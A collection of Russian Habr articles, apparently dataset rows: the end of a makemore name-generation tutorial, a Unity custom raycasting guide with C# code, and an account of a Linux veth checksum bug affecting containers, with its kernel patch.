Для запуска нам поднадобится Python и одна зависимость в виде фреймворка PyTorch. Если python не установлен, то [ставим его](https://www.python.org/downloads/). Затем ставим pytorch:
```
pip install torch
```
Копируем [скрипт](https://github.com/karpathy/makemore/blob/master/makemore.py) к себе на компьютер, кладем рядом с ним файл со списком слов, на которых мы хотим обучиться. Если мы хотим создавать новые имена, то это должен быть список имен, по одному имени на строку. Язык тут не важен, нейросеть обучается на уровне символов. Но так как она будет пытаться составлять слова из всех присутствующих символов, то убедитесь, чтобы они были из одного алфавита. Например, русские имена на кириллице.
Я подготовил несколько словарей для примера, попробуйте их, затем можете использовать свои списки для генерации слов на свою тему. Желательно, чтобы из было порядка нескольких тысяч. [Города](https://disk.yandex.ru/d/EsWqaMHpWdbGmw), [женские имена](https://disk.yandex.ru/d/vU_MpBbintKcrQ).
Запускаем скрипт командой:
```
$ python makemore.py -i cities_ru.txt -o cities
```
Начнется процесс обучения, а к нам в консоль начнут сыпаться новые слова, чем дальше, тем лучше.
```
number of examples in the dataset: 10929
max word length: 27
number of unique characters in the vocabulary: 67
vocabulary:
-.`ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё
number of parameters: 210560
...
step 0 | loss 2.0676 | step time 3280.48ms
step 10 | loss 2.1383 | step time 56.45ms
step 20 | loss 2.3182 | step time 55.55ms
step 30 | loss 2.1130 | step time 57.24ms
step 40 | loss 2.2769 | step time 55.46ms
step 50 | loss 2.2236 | step time 56.27ms
step 60 | loss 2.1755 | step time 59.49ms
...
```
```
10 samples that are new:
Ермышыевка
Тареп
Ла-Конково
Гольское
Крзусто
Сыревка
Бангруу
Балманауннти
Голтон
Юрчуан
```
После некоторого обучения можно запустить модель в режиме без тренировки и посмотреть только на новые слова:
```
$ python makemore.py -i cities_ru.txt -o cities --sample-only
```
```
50 samples that are new:
Ририка
Меимсвилл
Дана-Гап
Тачьякин
Нигина
Ассер-Куйн
Свитлаум
Митсу
Баргиси
Шивер
Венния
Бйокенигорд
Хирава
Халлы
Тельск
Мудделжон
Шюихатай
Красноарская
Сваркофетольский
Хорвион
Стомесе-Клинглид
Сен
Фортингтам
Бивле
Ряслянд-Сититу
Бамборо
```
Круто. Но как это все работает?
На уровень ниже
---------------
Если зайти в папку, переданную в параметре **-o** (*cities*), то вы увидете файл model.pt и файлы events.\*, — это логи в формате TensorBoard'а. По ним видно как модель обучалась. При обучении данные делятся на тренировочные и валидационные, по последним можно более-менее адекватно оценивать качество модели. Если учить модель достаточно долго, то величина ошибки на тренировочных данных будет продолжать падать, в то время как ошибка на валидации со временем начнет увеличиваться, — это называется переобучением.
Автор говорит, что скрипт задумывался как "super hackable", поэтому давайте в него посмотрим:
```
class GPTConfig:
# size of the model
n_layer: int = 4
n_head: int = 4
n_embd: int = 64
vocab_size: int = None
block_size: int = None
# regularization
embd_pdrop: float = 0.1
resid_pdrop:float = 0.1
attn_pdrop:float = 0.1
class TrainConfig:
# optimization parameters
learning_rate: float = 5e-4
weight_decay: float = 0.1 # only applied on matmul weights
betas: List[float] = (0.9, 0.99)
class GPT(nn.Module):
""" the full GPT language model, with a context size of block_size """
...
```
Действительно, в этом скрипте описывается и архитектура модели (GPT), и ее конфигурация (по-умолчанию в модели ~200k обучаемых параметров, именно поэтому вы можете обучить эту малютку у себя на компьютере без видеокарты), и работа с датасетом, и тренировочный цикл (он же train loop). Именно в train loop'е и происходит вся "магия", — модель считает некоторую функцию ошибки (loss), вычисляются градиенты (чтобы знать, "в какую сторону двигаться" для уменьшения ошибки), делается шаг обучения.
```
while True:
...
batch = [t.to(args.device) for t in batch]
X, Y = batch
# feed into the model
logits, loss = model(X, Y)
# calculate the gradient, clip it, update the weights
model.zero_grad(set_to_none=True)
loss.backward()
torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)
optimizer.step()
```
Вы можете поэксперементировать со скриптом, задать модель побольше, поменять величину сэмплирования и другие параметры (обратите внимание на аргументы в конце скрипта). Скрипт очень симпатичный и компактный, всего около 500 строк. Рекомендую в нем покопаться, если вам интересны нейросети или чем занимается директор компании Tesla по ИИ в свободное время.
Далее
-----
Для дальнейшего ознакомления с темой вот вам несколько любопытных ссылок. Кроме того, я с недавнего времени веду скромный канал про машинное обучение, в котором рассказываю про новости ИИ и делюсь опытом. [Приглашаю](https://t.me/doomgrad) вас в него.
⚡ [Градиент обреченный](https://t.me/doomgrad) — мой канал в телеграм про машинное обучение и заметки о работе в DS.
🔥 [DIY. Книги для всех, даром](https://habr.com/ru/company/ods/blog/669990/) — тут я применил NLP модели для создания параллельных книг, получилось клёво.
📌 [Репозиторий со скриптом](https://github.com/karpathy/makemore) — репа Андрея Карпати на GitHub.
📘 [GPT-2 в картинках](https://habr.com/ru/post/490842/) — тут перевод известной статьи Джея Аламмара.
📘 [GPT для чайников](https://habr.com/ru/post/599673/) — похожая статья, но в конце есть еще ссылки.
🖋️ [Блог Давида Дале](https://habr.com/ru/users/cointegrated/posts/) — много хороших статей про русский NLP.
🧠 [GPT-3 Playground](https://gpt3demo.com/apps/openai-gpt-3-playground) —тут можно поиграться с оригинальной сетью GPT-3 от OpenAI, которую если и опубликуют, то вы все равно ее не запустите в силу её огромности.
🧠 [OPT. GPT от Meta](https://github.com/facebookresearch/metaseq/tree/main/projects/OPT) — а тут можно скачать аналог сети GPT на 30 миллиардов параметров (!). И запустить, если у вас есть A100 на 80Gb.
🔋 [Сообщество ODS](https://ods.ai/) — ну если вдруг кто не знает, то это большое дружелюбное сообщество по DS, ML и смежным аббревиатурам. | https://habr.com/ru/post/672434/ | null | ru | null |
# Упрощённые рейкасты в Unity
Всем привет, меня зовут Григорий Дядиченко, и я технический продюсер. Недавно я столкнулся с одной интересной задачкой в ходе реализации проекта, и подумал что стоит наверное рассказать про физику в Unity, про нюансы работы с ней и про то, какие существуют альтернативные варианты в решении разных задач. Как связывать это всё дело с EventSystem и расширять Unity классы. Если вам это интересно - добро пожаловать под кат.
На данный момент я в основном занимаюсь визуализациями данных, работой с дополненной реальностью, AR/VR и интерактивными стендами на выставках. В одной из задач было необходимо визуализировать огромный граф с данными в виртуальной реальности, который состоял из порядка 10000 тысяч объектов. И классическая физика в Юнити оказалась слишком медленной. Но прежде чем “писать своё с блекджеком и куртизанками”, давайте пройдёмся по тому, о чём нужно знать и что нужно делать при работе с физикой Unity.
Советы и нюансы по работе с встроенной физикой
----------------------------------------------
На самом деле большую часть про это можно прочесть в этом материале <https://learn.unity.com/tutorial/physics-best-practices#5c7f8528edbc2a002053b5b4> Не хочется особо сильно повторяться про “простые коллайдеры лучше”, кроме самого важного совета, который я не устану повторять. Если объект подвижен и на нём есть коллайдер или триггер, то на нём должно быть Rigidbody. А вот из того, что тут не сказано в Unity есть возможность управлять обсчётом физики в ручную. В классе Physics во-первых, есть bool переменная autoSimulate (так же есть в настройках) и метод Simulate, чтобы посчитать кадр физики. В целом у этого есть две основные проблемы: это всё работает только в главном потоке и оно посчитает всё. Вот вообще всё. Коллизии, что там с джоинтами и т.п. И это не очень удобно как раз в случае описанном выше.
В общем в AR/VR задачах часто встречается такое, что сами по себе коллизии тебе не особо нужны. В первую очередь интересны рейкасты, и недостаток встроенной физики юнити (то есть интеграции PhysX) что нельзя пользоваться рейкастами просто отключив коллизии. Даже елси вы выключите всю матрицу со слоями коллизий система всё равно производит расчёты для коллизий. И это не позволяет решать какие-то задачи. В плюс к тому ресурсы в AR на мобильных телефонах или в VR на standalone системах (типа Oculus Quest) довольно ограничены. Поэтому экономить приходится на всём.
Собственно в задаче с графом, мне нужны были только рейкасты для того, чтобы отображать информацию по вершинам и перемещаться по графу.
Пишем своё или зачем нужно знать математику
-------------------------------------------
Последнее время под своими старыми выступлениями я видел комментарий: “Зачем нужно знать математику?”, “Математика в игровой индустрии не нужна”. Я скажу так. На данный момент, если мы говорим про высшую математику, игровая индустрия - это одна из тех индустрий, где она сильно упрощает жизнь. Не существует лишних знаний, а математика позволяет решать огромное число задач проще и лучше. Поэтому математику изучать и разбираться в ней - это очень полезный навык, который выводит вас, как разработчика, на несколько иной уровень. Причём хотя бы не на уровне доказательства теорем, понимания гипотез математики и т.п. А хотя бы на уровне чтения и понимания математических текстов и превращения их в алгоритмы. Так как далеко не всё из существующего написано.
В данной задаче - это конечно в меньшей степени необходимо, но в разы удобнее понимать, что ты пишешь. Собственно в своей системе нам так же понадобятся коллайдеры.
Сферический коллайдер
---------------------
Сферический коллайдер на самом деле покрывает большую часть необходимого в данной задаче. Считается он довольно просто, даже с получением позиции пересечения луча и коллайдера.
В контексте Unity проверка пересечения будет выглядеть вот так:
```
public override bool CheckIntersection (Ray ray, out Vector3 hitPosition)
{
var pos = transform.position + center;
var originCenterVector = ray.origin - pos;
var direction = ray.direction;
float a = Vector3.Dot(direction, direction);
float b = 2f * Vector3.Dot(originCenterVector, direction);
float c = Vector3.Dot(originCenterVector, originCenterVector) - raduis * raduis;
float discriminant = b * b - 4 * a * c;
if (discriminant < 0)
{
hitPosition = new Vector3();
return false;
}
float numerator = -b + Mathf.Sqrt(discriminant);
hitPosition = ray.origin + ray.direction * numerator;
if (numerator > 0) return true;
numerator = -b - Mathf.Sqrt(discriminant);
hitPosition = ray.origin + ray.direction * numerator;
if (numerator > 0) return true;
hitPosition = new Vector3();
return false;
}
```
А теперь посмотрим, как выглядит математика сферического коллайдера. Из аналитической геометрии мы знаем, что если у нас есть сфера с центром **(x0, y0, z0)** и радиус **r**, то все точки **(x, y, z)** находящиеся на этой сфере можно описать, как:
запись в векторной форме этого выражения будет выглядеть
 где **P** - это точка на сфере, а **C** - это точка центра сферы.
Что эквивалентно
где функция **dot** - это скалярное произведение и для него в Unity3d есть функция Vector3.Dot.
Уравнение же прямой выглядит, как
где **p(t)** - это точка на прямой, **o** - это начало луча, а **d** - это направление луча.
При существовании пересечения окружности и луча. **P = p(t)**. И подставив всё в исходное уравнение окружности и раскрыв все скобки мы получим уравнение вида.
что в свою очередь является стандартным квадратным уравнением вида:
где
или если записать чуть более читаемо
и мы приходим к старому доброму школьному дискриминанту, что **t** так же равно
Мы знаем из математики, что если:
Дискриминант меньше нуля, то луч не пересекает сферу (так как не существует решений уравнения)
Дискриминант равен 0, то луч касается сферы в одной точке (касательная, ровно одно решение)
Дискриминант больше 0, луч пересекает сферу в двух точках (два решения)
Это уже спокойно превращается в код выше.
Для кубического коллайдера код можно посмотреть [в репозитории](https://github.com/Nox7atra/SimpleRaycastSystem/blob/main/Assets/SimpleRaycastSystem/Scripts/Shapes/SimpleBoxCollider.cs) и разобрать самостоятельно. Опирался на эту статью, но на данный момент там есть проблема с поворотами, так как куб описывается, как 2 точки угла куба. <https://www.researchgate.net/publication/220494140_An_Efficient_and_Robust_Ray-Box_Intersection_Algorithm>
Математика выше и даёт ответ на вопрос, почему определение точки пересечения между простыми коллайдерами и меш коллайдерами работает в разы быстрее. Меш коллайдер определяет пересечения, через расчёт прохождения луча через каждый треугольник. Даже в той же сфере треугольников достаточно много, а расчёт дискриминанта и т.п. - это небольшой набор операций аналитически покрывающий всю сферу.
Хватит бороться с Unity
-----------------------
Итак, коллайдеры есть. А что по лучам? На самом деле для меня самое странное во многих плагинах и библиотеках под Unity, что многие не используют фишки Unity, а пишут своё поверх Unity. Мы так делать конечно же не будем. В юнити есть замечательная вещь под названием EventSystem, про примеры использования которой я писал [в этой статье](https://habr.com/ru/post/359106/). Но из важного для нашей системы она позволяет вешать на камеру рейкастеры, которые работают с интерфейсами IPointerDownHadler и т.п. на объектах. И ничего не мешает создать новый рейкастер под нашу систему рейкастов.
Мы просто наследуемся от класса BaseRaycaster реализуем метод Raycast, заполняя правильно List resultAppendList и всё, наша физика работает с EventSystem.
```
using System;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.EventSystems;
[RequireComponent(typeof(Camera))]
public class SimpleRaycaster : BaseRaycaster
{
protected Camera m_EventCamera;
public override Camera eventCamera
{
get
{
if (m_EventCamera == null)
m_EventCamera = GetComponent();
return m\_EventCamera ? m\_EventCamera : Camera.main;
}
}
protected bool ComputeRayAndDistance(PointerEventData eventData, ref Ray ray, ref int eventDisplayIndex, ref float distanceToClipPlane)
{
if (eventCamera == null)
return false;
var eventPosition = Display.RelativeMouseAt(eventData.position);
if (eventPosition != Vector3.zero)
{
// We support multiple display and display identification based on event position.
eventDisplayIndex = (int)eventPosition.z;
// Discard events that are not part of this display so the user does not interact with multiple displays at once.
if (eventDisplayIndex != eventCamera.targetDisplay)
return false;
}
else
{
// The multiple display system is not supported on all platforms, when it is not supported the returned position
// will be all zeros so when the returned index is 0 we will default to the event data to be safe.
eventPosition = eventData.position;
}
// Cull ray casts that are outside of the view rect. (case 636595)
if (!eventCamera.pixelRect.Contains(eventPosition))
return false;
ray = eventCamera.ScreenPointToRay(eventPosition);
// compensate far plane distance - see MouseEvents.cs
float projectionDirection = ray.direction.z;
distanceToClipPlane = Mathf.Approximately(0.0f, projectionDirection)
? Mathf.Infinity
: Mathf.Abs((eventCamera.farClipPlane - eventCamera.nearClipPlane) / projectionDirection);
return true;
}
public override void Raycast (PointerEventData eventData, List resultAppendList)
{
var ray = new Ray();
int displayIndex = 0;
float distanceToClipPlane = 0;
if (!ComputeRayAndDistance(eventData, ref ray, ref displayIndex, ref distanceToClipPlane))
return;
IEnumerable hits;
SimpleRaycastSystem.RaycastAll(ray, out hits);
if (hits != null)
{
foreach (var raycastHit in hits)
{
resultAppendList.Add(new RaycastResult()
{
gameObject = raycastHit.collider.gameObject,
module = this,
distance = raycastHit.distance,
worldPosition = raycastHit.point,
worldNormal = Vector3.zero,
screenPosition = eventData.position,
displayIndex = displayIndex,
index = resultAppendList.Count,
sortingLayer = 0,
sortingOrder = 0
});
}
}
}
}
```
Метод ComputeRayAndDistance формирования луча и расчёта индекса дисплея нужен для поддержки нескольких экранов. В целом в Unity много крутых систем, и я очень рекомендую изучить то, как они кастомизируются.
А что по производительности?
----------------------------
Я сделал несколько тестов для демонстрации работы данного подхода.
500 элементов
5000 элементов
10000 элементов
Выигрыш на большом числе объектов (учитывая что в видео ещё на перфоманс влияет Unity Recorder) довольно ощутимый. Самостоятельно можно посмотреть и протестировать [в репозитории](https://github.com/Nox7atra/SimpleRaycastSystem) на своём железе. Но конечно же система даже на CPU работает быстрее, чем PhysX в подобном случае.
А можно ли сделать быстрее?
---------------------------
Да, это довольно простая система, которая была написана за несколько часов, в которой на данный момент даже не весь функционал поддерживается. Но путей к улучшению здесь ещё много. В первую очередь конечно же логика обхода коллайдеров. Сейчас система работает на линейной скорости, что неплохо, но можно в разы лучше. Для этого нужно интегрировать технику под названием “двоичное разбиение пространства” (Binary Space Partitioning или BSP). Построение BSP-дерева по сути позволяет нам в случае огромного числа объектов увеличить скорость обсчёта коллизий за счёт лучшего разбиения пространства. Но тут уже в ход идут нюансы. Чтобы оно работало действительно быстрее нужно либо формировать дерево в ручную, когда объекты (в случае графа актуально) нашли точку равновесия и больше не перемещаются. Либо же писать алгоритм динамического изменения дерева, что в общем добавит нагрузки на систему и в этом случае уже нужно искать некий баланс между алгоритмом обновления BSP дерева и поиском рейкастов. В целом BSP это довольно полезная штука. Она используется для occlusion culling и других вещей в трёхмерной графике.
Либо же вторая оптимизация под названием - компьют шейдеры . Так как структура задачи позволяет считать нам результат коллизии параллельно и довольно оптимально простыми операциями на GPU, то это тоже один из путей, как выжать максимум скорости. Проблема данного подхода по сути в поддержке платформами, тот же WebGL не поддерживает compute shader. Но компьют шейдеры - это очень крутой инструмент, и если появится время то я постараюсь раскрыть эту тему отдельно.
В заключении
------------
Полное решение вы можете [найти по ссылке](https://github.com/Nox7atra/SimpleRaycastSystem). Может кому-то пригодится и будет полезно, если вдруг нужно будет визуализировать огромный массив данных. Надеюсь появится время написать ещё про интересную укладку графов в трёхмерном пространстве и компьют шейдеры, если кому-это данная тема интересна.
Спасибо за внимание! Если у вас есть идеи на тему того, как можно ещё интересно обыграть подобную задачу - добро пожаловать в комментарии. | https://habr.com/ru/post/581712/ | null | ru | null |
# Ошибка в ядре Linux отправляет поврежденные TCP/IP-пакеты в контейнеры Mesos, Kubernetes и Docker
*А обнаружена она была на серверах Twitter*
Ядро Linux имеет ошибку, причиной которой являются контейнеры. Чтобы не проверять контрольные суммы TCP, для сетевой маршрутизации контейнеры используют veth-устройства (такие как Docker на IPv6, Kubernetes, Google Container Engine и Mesos). Это приводит к тому, что в ряде случаев приложения ошибочно получают поврежденные данные, как это происходит при неисправном сетевом оборудовании. Мы проверили, что эта ошибка появилась, по крайней мере, три года назад и до сих пор «сидит» в ядрах. Наш патч был проверен и введен в ядро, и в настоящее время обеспечивает ретроподдержку стабильного релиза 3.14 в различных дистрибутивах (таких как Suse и Canonical). Если Вы в своей системе используете контейнеры, я рекомендую Вам воспользоваться этим патчем или установить ядро вместе с ним, когда это станет доступным.
*Примечание: это не относится к сетям с NAT, по умолчанию используемых для Docker, так как Google Container Engine практически защищен от ошибок «железа» своей виртуализированной сетью. Еще Джейк Бауэр (Jake Bower) считает, что эта ошибка очень похожа на ошибку [Pager Duty](https://www.pagerduty.com/blog/the-discovery-of-apache-zookeepers-poison-packet/), обнаруженную ранее.*
#### Как это все началось
В один из выходных ноября группа саппорт-инженеров Твиттера просматривала логи. Каждое неработающее приложение выдавало «невероятные» ошибки в виде строк странных символов или пропусков обязательных полей. Взаимосвязь этих ошибок не была очевидна из-за природы распределенной архитектуры Твиттера. Вся ситуация осложнялась еще и тем, что в любой распределенной системе данные, когда-то испорченные, могут вызвать ошибки еще довольно продолжительное время (они сохраняются в кэшах, записываются на дисках, в журналах и т.д.).
После суток непрерывной работы по поиску неисправности на уровне приложений, команде удалось локализовать проблему до отдельных рэковых стоек. Инженеры определили, что значительное увеличение числа выявленных ошибок контрольной суммы TCP произошло непосредственно перед тем, как они дошли до адресата. Казалось, что этот результат «освобождал от вины» софт: приложение может вызвать перегрузку сети, а не повреждение пакета!
**Примечание:**упоминание эфемерной «команды» может скрыть от читателя, сколько людей работало над этой проблемой. Над диагностикой этих странных неисправностей работала масса инженеров из всей компании. Трудно перечислить всех, но основной вклад внесли: Брайан Мартин (Brian Martin), Дэвид Робинсон (David Robinson), Кен Коэмото (Ken Kawamoto), Махак Пайтидар (Mahak Patidar), Мануэль Кэбэлкуинто (Manuel Cabalquinto), Сэнди Стронг (Sandy Strong), Зак Киль (Zach Kiehl), Уилл Кэмпбелл (Will Campbell), Рэмин Хатиби (Ramin Khatibi), Яо Юэ (Yao Yue), Берк Демир (Berk Demir), Дэвид Барр (David Barr), Гопал Рейпуроухит (Gopal Rajpurohit), Джозеф Смит (Joseph Smith), Рохис Менон (Rohith Menon), Алекс Ламберт (Alex Lambert) и Иэн Доунес (Ian Downes), Цун Ван (Cong Wang).)
Как только эти стойки были отключены, ошибки в работе приложений исчезли. Конечно, повреждения данных на уровне сети могут произойти по многим причинам: самым причудливым образом могут отказывать коммутаторы, могут повредиться провода, может часто отказывать питание и т.п. Контрольные суммы в TCP и IP предназначены для защиты от таких неисправностей. И действительно, собранная по оборудованию статистика показывала, что ошибки присутствовали. Итак, отчего набор разнообразных приложений начал давать сбои?
После изоляции определенных коммутаторов, были сделаны попытки воспроизвести эти ошибки (главным образом благодаря колоссальной работе старшего инженера по надежности Брайана Мартина). Оказалось, что относительно просто воспроизвести поврежденные данные, отослав на эти стойки некоторое количество пакетов данных. На некоторых коммутаторах оказались поврежденными до 10% отправленных пакетов. Однако, повреждения всегда выявлялись ядром с помощью контрольных сумм TCP (сообщения типа TcpInCsumErrors netstat-a), и никогда не доходили до приложений. (В Linux с помощью недокументированной опции SO\_NO\_CHECK можно отсылать пакеты IPv4 UDP с отключенными контрольными суммами – в таком случае мы сможем увидеть, что пакет поврежден.)
Эван Джонс (Evan Jones) предположил, что поврежденные данные имеют правильную контрольную сумму TCP. Если в том же самом 16-битном слове два бита зеркально «перевернуть» (например, 0→1 и 1→0), их влияния на контрольную сумму TCP уравновесят друг друга (контрольная сумма TCP – простое сложение битов). Хотя повреждение данных в сообщении (32 байта по модулю) всегда заключалось в изменении одной и той же битовой позиции, факт, что был «залипающий бит» (0→1), исключающий такую возможность. С другой стороны, поскольку сама контрольная сумма перед сохранением инвертируется, «переворот» бита в контрольной сумме вместе с «переворотом» бита в данных могут уравновесить друг друга. Однако, битовая позиция, которую мы наблюдали измененной, не могла касаться контрольной суммы TCP, и поэтому это оказалось невозможным.
Вскоре команда поняла, что наши тесты проводились на стандартной системе Linux, а большинство сервисов на Твиттере работает на Mesos, который для изолирования различных приложений использует контейнеры Linux. В частности, в конфигурации Твиттера созданы виртуальные Ethernet-устройства (veth-устройства) и все пакеты для приложений передаются через них. Конечно же, после запуска нашего тестового приложения в контейнере Mesos немедленно появились поврежденные данные, поступающие через подключение по TCP, не смотря на то, что контрольные суммы TCP были ошибочными (и определялись как неправильные: число TcpInCsumErrors увеличивалось). Кто-то предложил изменение настроек «checksum offloading» на виртуальном Ethernet-устройстве, что решило проблему, приведя к соответствующему удалению поврежденных данных.
Теперь перед нами встала серьезная задача. Команда Твиттера по Mesos быстро передала информацию open source-проекту «Mesos» и изменила настройки на всех рабочих контейнерах Твиттера.
#### Копаем дальше
Когда мы с Эваном обсуждали эту ошибку, мы решили, что, поскольку протокол TCP/IP нарушался ОС, возможно, что она была не результатом неправильного конфигурирования Mesos, а, скорее всего, – результатом ранее необнаруженной ошибки в сетевом стеке ядра.
Чтобы продолжить это наше расследование, мы создали как можно более простую тестовую систему:
1. простой клиент, который открывает сокет и раз в секунду посылает очень простое, длинное сообщение.
2. простой сервер (мы фактически использовали сетевой компьютер в режиме прослушивания), который прослушивает сокет и, когда на него поступает информация, выводит ее на экран.
3. сетевое устройство, контроллер передачи, который позволяет пользователю произвольно повреждать пакеты перед тем, как они будут отосланы по проводу.
4. Один раз соединив клиента и сервер, мы использовали сетевое устройство для повреждения всех отправленных за 10 секунд пакетов.
Мы управляли клиентом с одной машины, а сервером – с другой. Компьютеры подключили через коммутатор. Когда мы запускали тестовую систему без контейнеров, она вела себя точно так, как и ожидалось. Никаких оповещений о поврежденных пакетах не поступало. Фактически, те десять секунд, что передавались поврежденные данные, мы вообще не получали никаких сообщений. После того, как клиент прекратил повреждать пакеты, все 10 сообщений (которые не были доставлены), сразу пришли. Это подтвердило, что TCP на Linux без контейнеров работает так, как и положено: плохие пакеты TCP задерживаются и постоянно повторно передаются до тех пор, пока не смогут быть приняты без ошибок.
*Так это должно работать в теории: поврежденные данные не доставляются; TCP повторно передает их.*
#### Linux и контейнеры
В этом месте полезно (как мы это сделали при диагностике проблемы) вернуться назад и кратко описать, как работает сетевой стек в контейнерной среде Linux. Контейнеры были разработаны, чтобы разрешить обслуживающим пользователей приложениям совместно работать на компьютерах и таким образом предоставить много преимуществ виртуализированной среды (уменьшить или полностью устранить возможность влияния приложений друг на друга, обеспечить возможность нескольким приложениям работать в различных средах или с различными библиотеками) при меньших затратах на виртуализацию. Идеально, чтобы все объекты, конфликтующие между собой, были изолированы. Примерами могут служить очереди запросов к дискам, кэши и работа сети.
В Linux veth-устройства используются для изоляции одних работающих на компьютере контейнеров от других. Сетевой стек Linux достаточно сложный, но по существу veth-устройство представляет собой интерфейс, который с точки зрения пользователя должен выглядеть точно так, как «обычное» Ethernet-устройство.
Чтобы создать контейнер с виртуальным Ethernet-устройством, надо (первое) создать контейнер, (второе) создать veth, (третье) привязать один конец veth к контейнеру, (четвертое) назначить для veth IP-адрес и (пятое) настроить маршрутизацию, как правило, с помощью Linux Traffic Control, для того, чтобы контейнер мог получать и отсылать пакеты.
#### Почему все это виртуальное хозяйство «падает»
Мы вновь создали описанную выше тестовую систему за исключением того, что теперь сервер работал внутри контейнера. Однако, когда мы ее запустили, мы увидели абсолютно противоположную картину: поврежденные данные не задерживались, а доставлялись приложениям! Мы воспроизвели ошибку на очень простой тестовой системе (две машины на столе и две очень простые программы).
*Поврежденные данные доставляются приложению: посмотрите на окно слева!*
Мы также смогли воспроизвести эту тестовую систему на облачных платформах. Конфигурация Kubernetes по умолчанию показывает такую же картину (например, при использовании Google Container Engine). Конфигурация Docker’а по умолчанию (с NAT) – безопасна, а конфигурация Docker’а на IPv6 – нет.
#### Устраняем ошибку
После изучения сетевого кода ядра стало ясно, что эта ошибка в veth-модуле ядра. В ядре в пакетах, которые приходят от реальных устройств сети, параметрам ip\_summed присваивается значение CHECKSUM\_UNNECESSARY, если «железо» проверило контрольные суммы, или CHECKSUM\_NONE, если пакет плохой или не было возможности проверить его.
Код в veth.c заменял CHECKSUM\_NONE на CHECKSUM\_UNNECESSARY. Это приводило к тому, что контрольные суммы, которые должны были быть проверены и отклонены программным обеспечением, просто молча игнорировались. После удаления этого кода пакеты стали передаваться от одного стека к другому неизмененными (как и ожидалось, tcpdump показывал неверные контрольные суммы на обеих сторонах), и корректно доставлялись (или задерживались) приложениям. Мы не проверили все возможные конфигурации сети, только несколько общих, таких как Bridge-соединение контейнеров, использующее NAT между хостом и контейнером, и маршрутизация от реальных устройств к контейнерам. Мы эффективно внедрили это в работу Твиттера (отключив вычисление контрольной суммы при приеме и разгрузив veth-устройства).
Мы точно не знаем, почему код был написан именно так, но мы полагаем, что это попытка оптимизации. Часто veth-устройства используются для подключения контейнеров на той же физической машине. Логично, что пакеты, передаваемые между контейнерами (или виртуальными машинами) внутри одного физического хоста, не должны вычислять или проверять контрольные суммы: единственный возможный источник повреждений – это собственная RAM хоста, поскольку пакеты никогда не передаются по проводу. К сожалению, эта оптимизация не работает даже так, как было задумано: у локально передаваемых пакетов параметр ip\_summed задан как CHECKSUM\_PARTIAL, а не как CHECKSUM\_NONE.
Этот код был написан для первого релиза драйвера (commit e314dbdc1c0dc6a548ecf [NET]: Virtual ethernet device driver). Релиз Commit 0b7967503dc97864f283a net/veth: Fix packet checksumming (от декабря 2010 года) установил это для пакетов, создаваемых локально и передаваемых на реальные устройства, не изменив CHECKSUM\_PARTIAL. Тем не менее, эта проблема все еще не решена для пакетов, передаваемых от реальных устройств.
Ниже приведен патч для ядра:
`diff — git a/drivers/net/veth.c b/drivers/net/veth.c
index 0ef4a5a..ba21d07 100644
— — a/drivers/net/veth.c
+++ b/drivers/net/veth.c
@@ -117,12 +117,6 @@ static netdev_tx_t veth_xmit(struct sk_buff *skb, struct net_device *dev)
kfree_skb(skb);
goto drop;
}
- /* don’t change ip_summed == CHECKSUM_PARTIAL, as that
- * will cause bad checksum on forwarded packets
- */
- if (skb->ip_summed == CHECKSUM_NONE &&
- rcv->features & NETIF_F_RXCSUM)
- skb->ip_summed = CHECKSUM_UNNECESSARY;
if (likely(dev_forward_skb(rcv, skb) == NET_RX_SUCCESS)) {
struct pcpu_vstats *stats = this_cpu_ptr(dev->vstats);`
#### Выводы
В целом, я действительно впечатлен netdev-группой и специалистами по ядру Linux. Инспекция кода прошла достаточно быстро, наш патч был подключен в течение нескольких недель, а через месяц обеспечил ретроподдержку старой, стабильной версии (3.14 +) с различными дистрибутивами ядра (Canonical, Suse). При всех преимуществах контейнерной среды, для нас действительно стало большой неожиданностью, что эта ошибка просуществовала много лет незамеченной. Интересно, какое количество отказов и другого непредсказуемого поведения прикладных программ могло быть ею вызвано! | https://habr.com/ru/post/278885/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.